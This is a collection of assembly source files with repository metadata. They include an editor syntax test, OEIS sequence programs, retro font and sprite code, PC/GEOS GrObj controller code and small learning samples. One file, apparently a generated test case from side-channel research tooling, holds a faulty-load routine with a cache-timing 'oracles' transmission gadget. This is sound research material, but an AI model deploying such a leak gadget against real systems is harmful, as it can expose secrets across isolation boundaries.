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|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
5d318a1e42b6f9b5b96f6fdf503ac2b17ad7fcf8
| 265
|
asm
|
Assembly
|
tests/syntax_test_addon_directives.asm
|
dougmasten/dougmasten-sublime-assembly-6809
|
60aca36483d6a33bbcc3d8880c8ce274cb6302a9
|
[
"MIT"
] | 5
|
2018-11-10T02:09:16.000Z
|
2021-09-12T04:39:08.000Z
|
tests/syntax_test_addon_directives.asm
|
dougmasten/dougmasten-sublime-assembly-6809
|
60aca36483d6a33bbcc3d8880c8ce274cb6302a9
|
[
"MIT"
] | 1
|
2018-12-18T09:44:42.000Z
|
2018-12-23T06:14:12.000Z
|
tests/syntax_test_addon_directives.asm
|
dougmasten/dougmasten-sublime-assembly-6809
|
60aca36483d6a33bbcc3d8880c8ce274cb6302a9
|
[
"MIT"
] | 2
|
2021-01-31T03:09:12.000Z
|
2021-02-10T13:55:11.000Z
|
# SYNTAX TEST "Packages/Assembly-6809/Assembly-6809.sublime-syntax"
# <- source.mc6809
; Preprocessor addon directives
repeat 2
#^^^^^^ support.function.directive.addon
# ^ constant.numeric.decimal
endrepeat
#^^^^^^^^^ support.function.directive.addon
| 18.928571
| 67
| 0.716981
|
74b43607d7376eb8433f5bd5d4667a4388daadc2
| 313
|
asm
|
Assembly
|
oeis/195/A195062.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/195/A195062.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/195/A195062.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A195062: Period 7: repeat [1, 0, 1, 0, 1, 0, 1].
; Submitted by Christian Krause
; 1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0
mod $0,7
add $0,1
mod $0,2
| 39.125
| 201
| 0.536741
|
4bca664f68fc4c480ff4f04b52ea6f419c21f241
| 299
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/font/font_4x8/_font_4x8_64_omni1.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/font/font_4x8/_font_4x8_64_omni1.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/font/font_4x8/_font_4x8_64_omni1.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
;
; Font extracted from 64-4.tap
;
; Tap file downloaded from: http://mdfs.net/Software/Spectrum/Coding/Printout/
SECTION rodata_font
SECTION rodata_font_4x8
PUBLIC _font_4x8_64_omni1
PUBLIC _font_4x8_64_omni1_end
_font_4x8_64_omni1:
BINARY "font_4x8_64_omni1.bin"
_font_4x8_64_omni1_end:
| 17.588235
| 78
| 0.812709
|
1f4f8422962a6757c1500b7600cdf43a866d2653
| 588
|
asm
|
Assembly
|
programs/oeis/119/A119635.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/119/A119635.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/119/A119635.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A119635: a(n) = n*(1 + n^2)*2^n.
; 4,40,240,1088,4160,14208,44800,133120,377856,1034240,2748416,7127040,18104320,45187072,111083520,269484032,646184960,1533542400,3606052864,8409579520,19465764864,44753223680,102257131520,232330887168,525126860800,1181250224128,2645431418880,5900211322880,13109313929216,29023241502720,64042257350656,140874927308800,308979947274240,675821693960192,1474376373370880,3208649807757312,6966780551495680
add $0,1
mov $3,$0
mul $3,$0
mul $3,$0
add $3,$0
lpb $0,1
sub $0,1
mov $2,$3
mul $3,2
lpe
mul $2,2
add $1,$2
sub $1,3
div $1,4
mul $1,4
add $1,4
| 29.4
| 400
| 0.77381
|
c9e66a79cadb434230227e5a5a5fbbfbf5025ef3
| 620
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/arch/zx/nirvanam/z80/asm_NIRVANAM_spriteT.asm
|
grancier/z180
|
e83f35e36c9b4d1457e40585019430e901c86ed9
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/arch/zx/nirvanam/z80/asm_NIRVANAM_spriteT.asm
|
grancier/z180
|
e83f35e36c9b4d1457e40585019430e901c86ed9
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/arch/zx/nirvanam/z80/asm_NIRVANAM_spriteT.asm
|
grancier/z180
|
e83f35e36c9b4d1457e40585019430e901c86ed9
|
[
"ClArtistic"
] | 1
|
2019-12-03T23:57:48.000Z
|
2019-12-03T23:57:48.000Z
|
; ----------------------------------------------------------------
; Z88DK INTERFACE LIBRARY FOR THE NIRVANA ENGINE - by Einar Saukas
;
; See "nirvana-.h" for further details
; ----------------------------------------------------------------
SECTION code_clib
SECTION code_nirvanam
PUBLIC asm_NIRVANAM_spriteT
asm_NIRVANAM_spriteT:
add hl,hl
add hl,hl
add hl,hl ; HL=sprite*8
ld bc,57577
add hl,bc ; HL=57577+sprite*8
ld (hl),a ; tile
dec l
dec hl
ld (hl),d ; lin
dec l
ld (hl),e ; col
ret
| 23.846154
| 66
| 0.425806
|
d9ddc0bf15aef68b9c55f55768d4dde28941f96c
| 750
|
asm
|
Assembly
|
oeis/081/A081900.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/081/A081900.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/081/A081900.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A081900: A sequence related to binomial(n+4, 4).
; Submitted by Jon Maiga
; 1,9,71,519,3606,24150,157250,1001250,6259375,38534375,234140625,1406640625,8367187500,49335937500,288632812500,1676757812500,9678955078125,55548095703125,317108154296875,1801483154296875,10188293457031250,57380676269531250,321922302246093750,1799583435058593750,10026073455810546875,55682659149169921875,308334827423095703125,1702606678009033203125,9377002716064453125000,51515102386474609375000,282347202301025390625000,1544058322906494140625000,8426047861576080322265625,45889057219028472900390625
mov $1,1
mov $2,1
mov $3,$0
mov $0,4
mov $4,1
lpb $3
add $0,1
mul $1,$3
mul $1,$0
mul $2,4
sub $3,1
add $5,$4
div $1,$5
add $2,$1
add $4,2
lpe
mov $0,$2
| 34.090909
| 501
| 0.804
|
bf77e2fcb571aac42b32b48a0a406a0ee3e36e5b
| 409
|
asm
|
Assembly
|
oeis/143/A143360.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/143/A143360.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/143/A143360.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A143360: Sum of root degrees of all symmetric ordered trees with n edges.
; Submitted by Jon Maiga
; 1,3,5,12,20,45,77,168,294,630,1122,2376,4290,9009,16445,34320,63206,131274,243542,503880,940576,1939938,3640210,7488432,14115100,28973100,54826020,112326480,213286590,436268025,830905245,1697168160,3241119750
mov $1,$0
div $0,2
add $1,1
mov $2,$1
bin $1,$0
add $0,2
bin $2,$0
mul $2,2
add $2,$1
mov $0,$2
| 27.266667
| 210
| 0.743276
|
206c131cfab7a806c3e33ab9d76d5561f691a2c4
| 6,674
|
asm
|
Assembly
|
Library/GrObj/UI/uiHandleControl.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Library/GrObj/UI/uiHandleControl.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Library/GrObj/UI/uiHandleControl.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: uiHandleControl.asm
AUTHOR: Jon Witort
METHODS:
Name Description
---- -----------
FUNCTIONS:
Scope Name Description
----- ---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 24 feb 1992 Initial version.
DESCRIPTION:
Code for the GrObjHandleControlClass
$Id: uiHandleControl.asm,v 1.1 97/04/04 18:05:49 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjUIControllerCode segment resource
COMMENT @----------------------------------------------------------------------
MESSAGE: GrObjHandleControlGetInfo --
MSG_GEN_CONTROL_GET_INFO for GrObjHandleControlClass
DESCRIPTION: Return group
PASS:
*ds:si - instance data
es - segment of GrObjHandleControlClass
ax - The message
cx:dx - GenControlBuildInfo structure to fill in
RETURN:
none
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 10/31/91 Initial version
------------------------------------------------------------------------------@
GrObjHandleControlGetInfo method dynamic GrObjHandleControlClass,
MSG_GEN_CONTROL_GET_INFO
mov si, offset GOHC_dupInfo
call CopyDupInfoCommon
ret
GrObjHandleControlGetInfo endm
GOHC_dupInfo GenControlBuildInfo <
mask GCBF_SUSPEND_ON_APPLY, ; GCBI_flags
GOHC_IniFileKey, ; GCBI_initFileKey
GOHC_gcnList, ; GCBI_gcnList
length GOHC_gcnList, ; GCBI_gcnCount
GOHC_notifyList, ; GCBI_notificationList
length GOHC_notifyList, ; GCBI_notificationCount
GOHCName, ; GCBI_controllerName
handle GrObjHandleControlUI, ; GCBI_dupBlock
GOHC_childList, ; GCBI_childList
length GOHC_childList, ; GCBI_childCount
GOHC_featuresList, ; GCBI_featuresList
length GOHC_featuresList, ; GCBI_featuresCount
GOHC_DEFAULT_FEATURES, ; GCBI_features
0, ; GCBI_toolBlock
0, ; GCBI_toolList
0, ; GCBI_toolCount
0, ; GCBI_toolFeaturesList
0, ; GCBI_toolFeaturesCount
0, ; GCBI_toolFeatures
GOHC_helpContext> ; GCBI_helpContext
if FULL_EXECUTE_IN_PLACE
GrObjControlInfoXIP segment resource
endif
GOHC_helpContext char "dbGrObjHandl", 0
GOHC_IniFileKey char "GrObjHandle", 0
GOHC_gcnList GCNListType \
<MANUFACTURER_ID_GEOWORKS, \
GAGCNLT_APP_TARGET_NOTIFY_GROBJ_BODY_INSTRUCTION_FLAGS_CHANGE>
GOHC_notifyList NotificationType \
<MANUFACTURER_ID_GEOWORKS, GWNT_GROBJ_BODY_INSTRUCTION_FLAGS_CHANGE>
;---
GOHC_childList GenControlChildInfo \
<offset GrObjHandleSizeItemGroup, mask GOHCF_SMALL_HANDLES or \
mask GOHCF_MEDIUM_HANDLES or \
mask GOHCF_LARGE_HANDLES, 0>,
<offset GrObjInvisibleHandlesBooleanGroup, mask GOHCF_INVISIBLE_HANDLES,
mask GCCF_IS_DIRECTLY_A_FEATURE>
GOHC_featuresList GenControlFeaturesInfo \
<offset GrObjInvisibleHandlesBooleanGroup, InvisibleHandlesName, 0>,
<offset GrObjLargeHandlesExcl, LargeHandlesName, 0>,
<offset GrObjMediumHandlesExcl, MediumHandlesName, 0>,
<offset GrObjSmallHandlesExcl, SmallHandlesName, 0>
if FULL_EXECUTE_IN_PLACE
GrObjControlInfoXIP ends
endif
COMMENT @----------------------------------------------------------------------
MESSAGE: GrObjInstructionControlUpdateUI -- MSG_GEN_CONTROL_UPDATE_UI
for GrObjInstructionControlClass
DESCRIPTION: Handle notification of type change
PASS:
*ds:si - instance data
es - segment of GrObjInstructionControlClass
ax - MSG_GEN_CONTROL_UPDATE_UI
RETURN: nothing
DESTROYED: ax
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11 feb 1992 Initial version
------------------------------------------------------------------------------@
GrObjHandleControlUpdateUI method dynamic GrObjHandleControlClass,
MSG_GEN_CONTROL_UPDATE_UI
uses cx, dx, bp
.enter
mov bx, ss:[bp].GCUUIP_dataBlock
call MemLock
jc done
mov es, ax
mov al, es:[GBNIF_handleSize]
cbw
clr dx
call MemUnlock
mov bx, ss:[bp].GCUUIP_childBlock
clr bp
tst ax
jns absSize
inc bp
neg ax
absSize:
mov_tr cx, ax
mov si, offset GrObjHandleSizeItemGroup
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
clr di
call ObjMessage
mov cx, bp
mov dx, cx
not dx
mov si, offset GrObjInvisibleHandlesBooleanGroup
mov ax, MSG_GEN_BOOLEAN_GROUP_SET_GROUP_STATE
clr di
call ObjMessage
done:
.leave
ret
GrObjHandleControlUpdateUI endm
GrObjUIControllerCode ends
GrObjUIControllerActionCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHandleControlSetDesiredHandleSize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Description: GrObjHandleControl method: MSG_GOHC_SET_DESIRED_HANDLE_SIZING
Called by:
Pass: *ds:si = GrObjHandleControl object
ds:di = GrObjHandleControl instance
Return: nothing
Destroyed: ax
Comments:
Revision History:
Name Date Description
---- ------------ -----------
jon Feb 28, 1992 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHandleControlSetHandles method dynamic GrObjHandleControlClass,
MSG_GOHC_SET_HANDLES
uses cx,dx
.enter
push si
call GetChildBlockAndFeatures
test ax, mask GOHCF_SMALL_HANDLES or \
mask GOHCF_MEDIUM_HANDLES or \
mask GOHCF_LARGE_HANDLES
mov cx, MEDIUM_DESIRED_HANDLE_SIZE
jz checkInvisible
push ax ;save features
mov si, offset GrObjHandleSizeItemGroup
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ;al <- size
mov_tr cx, ax ;cx <- size
pop ax ;ax <- features
checkInvisible:
test ax, mask GOHCF_INVISIBLE_HANDLES
jz setSize
push cx ;save size
mov si, offset GrObjInvisibleHandlesBooleanGroup
mov ax, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ;ax <- invisible?
pop cx ;cl <- size
tst ax
jz setSize
neg cl
setSize:
pop si
mov ax, MSG_GB_SET_DESIRED_HANDLE_SIZE
mov bx, segment GrObjBodyClass
mov di, offset GrObjBodyClass
call GenControlOutputActionRegs
.leave
ret
GrObjHandleControlSetHandles endm
GrObjUIControllerActionCode ends
| 23.835714
| 80
| 0.670662
|
4a8cf1f793399e335b9a31e3d2b92849d9f8c238
| 5,185
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_387.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_387.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_387.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r15
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x2c8, %r11
nop
nop
add $45988, %rdi
mov (%r11), %r15w
sub %r9, %r9
lea addresses_A_ht+0xfd40, %r13
nop
nop
nop
add %r9, %r9
mov (%r13), %rdx
nop
nop
nop
nop
nop
xor %r15, %r15
lea addresses_normal_ht+0x16228, %rsi
lea addresses_A_ht+0x6ec8, %rdi
clflush (%rsi)
nop
nop
nop
nop
add $15854, %r13
mov $18, %rcx
rep movsw
nop
nop
nop
nop
lfence
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r15
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_WC+0x11338, %rdi
nop
nop
nop
nop
nop
inc %rdx
movb $0x51, (%rdi)
sub %rdi, %rdi
// Load
lea addresses_WC+0x154c8, %rax
xor $3258, %rcx
vmovups (%rax), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %rdi
nop
xor $22541, %rax
// Faulty Load
lea addresses_UC+0x6ec8, %rdx
nop
nop
and $63274, %rax
vmovups (%rdx), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rdi
lea oracles, %rcx
and $0xff, %rdi
shlq $12, %rdi
mov (%rcx,%rdi,1), %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
| 43.208333
| 2,999
| 0.658245
|
bd63602617d76cf1da22c97789bc0d90caf4560f
| 196
|
asm
|
Assembly
|
yasm-1.3.0/modules/objfmts/win64/tests/win64-imagebase.asm
|
xu5343/ffmpegtoolkit_CentOS7
|
974496c709a1c8c69034e46ae5ce7101cf03716f
|
[
"Apache-2.0"
] | 2,151
|
2020-04-18T07:31:17.000Z
|
2022-03-31T08:39:18.000Z
|
third_party/yasm/source/patched-yasm/modules/objfmts/win64/tests/win64-imagebase.asm
|
cangulcan/src
|
2b8388091c71e442910a21ada3d97ae8bc1845d3
|
[
"BSD-3-Clause"
] | 395
|
2020-04-18T08:22:18.000Z
|
2021-12-08T13:04:49.000Z
|
third_party/yasm/source/patched-yasm/modules/objfmts/win64/tests/win64-imagebase.asm
|
cangulcan/src
|
2b8388091c71e442910a21ada3d97ae8bc1845d3
|
[
"BSD-3-Clause"
] | 338
|
2020-04-18T08:03:10.000Z
|
2022-03-29T12:33:22.000Z
|
[section .text]
handler: ret
func: ret
func_end:
[section .pdata]
dd func
dd func_end
dd myunwnd
[section .xdata]
myunwnd:
db 9,0,0,0
dd handler
[section .foo]
dd handler wrt ..imagebase
| 10.888889
| 27
| 0.704082
|
8e18f2c4ee8a84cbb58893cf52a593a150389bc1
| 286
|
asm
|
Assembly
|
programs/oeis/242/A242112.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/242/A242112.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/242/A242112.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A242112: a(n) = floor((2*n+6)/(5-(-1)^n)).
; 1,1,2,2,3,2,4,3,5,4,6,4,7,5,8,6,9,6,10,7,11,8,12,8,13,9,14,10,15,10,16,11,17,12,18,12,19,13,20,14,21,14,22,15,23,16,24,16,25,17,26,18,27,18,28,19,29,20,30,20,31,21,32,22,33,22,34,23,35,24,36
mov $1,$0
mod $1,2
add $1,2
div $0,$1
add $0,1
| 31.777778
| 192
| 0.576923
|
aadf6f4f00e4285d5de944ffa2c20333719f4639
| 752
|
asm
|
Assembly
|
oeis/002/A002022.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/002/A002022.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/002/A002022.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A002022: Pile of coconuts problem.
; Submitted by Christian Krause
; 0,6,240,1020,78120,279930,40353600,134217720,31381059600,99999999990,34522712143920,106993205379060,51185893014090744,155568095557812210,98526125335693359360,295147905179352825840,239072435685151324847136,708235345355337676357614,714209495693373205673756400,2097151999999999999999999980,2576580875108218291929075869640,7511413302012830262726227918826,11045767571919545466173812409689920,32009658644406818986777955348250600,55511151231257827021181583404541015600
mov $3,$0
add $3,1
mov $4,$0
mov $5,1
lpb $3
mov $0,$4
sub $3,1
sub $0,$3
mov $2,3
add $2,$0
add $0,1
mov $1,1
sub $1,$4
mod $2,2
mul $2,2
add $5,$2
pow $0,$5
add $1,$0
lpe
mov $0,$1
sub $0,2
| 28.923077
| 463
| 0.788564
|
d99ae3a72e50693adcc41f8d5417f8325f4aa4cb
| 105
|
asm
|
Assembly
|
a0301.asm
|
zhangyuesai/8086-asm-learning-code
|
a934fb3a98a53a6167b647535b3251680294a786
|
[
"MIT"
] | 1
|
2018-07-23T10:30:22.000Z
|
2018-07-23T10:30:22.000Z
|
a0301.asm
|
zhangyuesai/8086-asm-learning-code
|
a934fb3a98a53a6167b647535b3251680294a786
|
[
"MIT"
] | null | null | null |
a0301.asm
|
zhangyuesai/8086-asm-learning-code
|
a934fb3a98a53a6167b647535b3251680294a786
|
[
"MIT"
] | null | null | null |
assume cs:codesg
codesg segment
s:
jmp s
jmp short s
jmp near ptr s
jmp far ptr s
codesg ends
end s
| 9.545455
| 16
| 0.72381
|
